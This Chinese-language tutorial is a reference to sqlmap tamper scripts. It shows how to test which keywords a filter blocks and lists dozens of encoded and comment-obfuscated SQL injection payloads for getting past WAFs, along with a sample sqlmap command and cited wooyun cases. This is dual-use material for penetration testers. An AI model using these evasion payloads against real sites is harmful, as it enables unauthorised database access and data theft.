如何判斷使用哪個腳本
最簡單的辦法就是在url參數中手工帶入關鍵詞，判斷是否被過濾。
如圖：
直接加個單引號被過濾，說明注入時單引號是沒法用的。
空格、等於號都沒有過濾，成功報錯。
select被過濾。
以此類推，當sqlmap注入出現問題時，比如不出數據，就要檢查對應的關鍵詞是否被過濾。
比如空格被過濾可以使用space2comment.py，過濾系統對大小寫敏感可以使用randomcase.py等等。
下面對於sqlmap的tamper參數詳細講解。
使用方法
根據實際情況，可以同時使用多個腳本，使用-v參數可以看到payload的變化。
sqlmap.py -u “http://www.target.com/test.php?id=12” –dbms mysql –tamper “space2commet,versionedmorekeywords.py” -v 3 –dbs
腳本名：apostrophemask.py
作用：用utf8代替引號
Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
Tested against: all
腳本名：equaltolike.py
作用：like 代替等號
Example:* Input: SELECT * FROM users WHERE id=1* Output: SELECT * FROM users WHERE id LIKE 1腳本名：space2dash.py
作用：繞過過濾‘=’ 替換空格字符（”），（’ – ‘）後跟一個破折號註釋，一個隨機字符串和一個新行（’ n’）
Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
Tested against: * MSSQL * SQLite
案例一：http://wooyun.org/bugs/wooyun-2010-062878
腳本名：greatest.py
作用：繞過過濾’>’ ,用GREATEST替換大於號。
Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
腳本名：space2hash.py
作用：空格替換爲#號 隨機字符串 以及換行符
Example:* Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227Requirement:
MySQL Tested against:
MySQL 4.0, 5.0
腳本名：apostrophenullencode.py
作用：繞過過濾雙引號，替換字符和雙引號。
Example: tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
Tested against:
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
腳本名：halfversionedmorekeywords.py
作用：當數據庫爲mysql時繞過防火牆，每個關鍵字之前添加mysql版本評論
Example:("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
Requirement:
MySQL < 5.1
Tested against:
MySQL 4.0.18, 5.0.22
腳本名：space2morehash.py
作用：空格替換爲 #號 以及更多隨機字符串 換行符
Example:* Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227Requirement: * MySQL >= 5.1.13 Tested
against: * MySQL 5.1.41
案例一:91ri一篇文章
腳本名：appendnullbyte.py
作用：在有效負荷結束位置加載零字節字符編碼
Example: ('1 AND 1=1') '1 AND 1=1%00'
Requirement:
Microsoft Access
腳本名：ifnull2ifisnull.py
作用：繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’爲’IF(ISNULL(A), B, A)’
Example:('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'Requirement:
MySQL
SQLite (possibly)
SAP MaxDB (possibly)
Tested against:
MySQL 5.0 and 5.5
腳本名：space2mssqlblank.py(mssql)
作用：空格替換爲其它空符號
Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers
Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005
ASCII table:
案例一: wooyun.org/bugs/wooyun-2010-062878
腳本名：base64encode.py
作用：用base64編碼替換 Example: (“1′ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ Requirement: all
腳本名：space2mssqlhash.py
作用：替換空格
Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL
腳本名：modsecurityversioned.py
作用：過濾空格，包含完整的查詢版本註釋
Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'
Requirement: * MySQL
Tested against:
MySQL 5.0
腳本名：space2mysqlblank.py
作用：空格替換其它空白符號(mysql)
Example:* Input: SELECT id FROM users* Output: SELECT%0Bid%0BFROM%A0usersRequirement:
MySQL
Tested against:
MySQL 5.1
案例一:wooyun.org/bugs/wooyun-2010-076735
腳本名：between.py
作用：用between替換大於號（>）
Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
Tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
案例一:wooyun.org/bugs/wooyun-2010-068815
腳本名：space2mysqldash.py
作用：替換空格字符（”）（’ – ‘）後跟一個破折號註釋一個新行（’ n’）
注：之前有個mssql的 這個是mysql的
Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'
Requirement:
MySQL
MSSQL
腳本名：multiplespaces.py
作用：圍繞SQL關鍵字添加多個空格
Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'
Tested against: all
案例一: wooyun.org/bugs/wooyun-2010-072489
腳本名：space2plus.py
作用：用+替換空格
Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all
腳本名：bluecoat.py
作用：代替空格字符後與一個有效的隨機空白字符的SQL語句。 然後替換=爲like
Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'
Tested against:
MySQL 5.1, SGOS
腳本名：nonrecursivereplacement.py
雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters
Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all
腳本名：space2randomblank.py
作用：代替空格字符（“”）從一個隨機的空白字符可選字符的有效集
Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'
Tested against: all
腳本名：sp_password.py
作用：追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾
Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL
腳本名：chardoubleencode.py
作用: 雙url編碼(不處理以編碼的)
Example:* Input: SELECT FIELD FROM%20TABLE* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545腳本名：unionalltounion.py
作用：替換UNION ALL SELECT UNION SELECT
Example: (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’
Requirement: all
腳本名：charencode.py
作用：url編碼
Example:* Input: SELECT FIELD FROM%20TABLE* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
腳本名：randomcase.py
作用：隨機大小寫 Example:
Input: INSERT
Output: InsERt
Tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
腳本名：unmagicquotes.py
作用：寬字符繞過 GPC addslashes
Example:* Input: 1′ AND 1=1* Output: 1%bf%27 AND 1=1–%20腳本名：randomcomments.py
作用：用/**/分割sql關鍵字
Example:‘INSERT’ becomes ‘IN//S//ERT’腳本名：charunicodeencode.py
作用：字符串 unicode 編碼
Example:* Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′Requirement:
ASP
ASP.NET
Tested against:
Microsoft SQL Server 2000
Microsoft SQL Server 2005
MySQL 5.1.56
PostgreSQL 9.0.3
案例一: wooyun.org/bugs/wooyun-2010-074261
腳本名：securesphere.py
作用：追加特製的字符串
Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"
Tested against: all
腳本名：versionedmorekeywords.py
作用：註釋繞過
Example:* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Requirement:
MySQL >= 5.1.13
腳本名：space2comment.py
作用：Replaces space character (‘ ‘) with comments ‘/**/’
Example:* Input: SELECT id FROM users* Output: SELECT//id//FROM/**/usersTested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
案例一:wooyun.org/bugs/wooyun-2010-046496
腳本名：halfversionedmorekeywords.py
作用：關鍵字前加註釋
Example:* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND‘QDWa’='QDWa* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWaRequirement:
MySQL < 5.1
Tested against:
MySQL 4.0.18, 5.0.22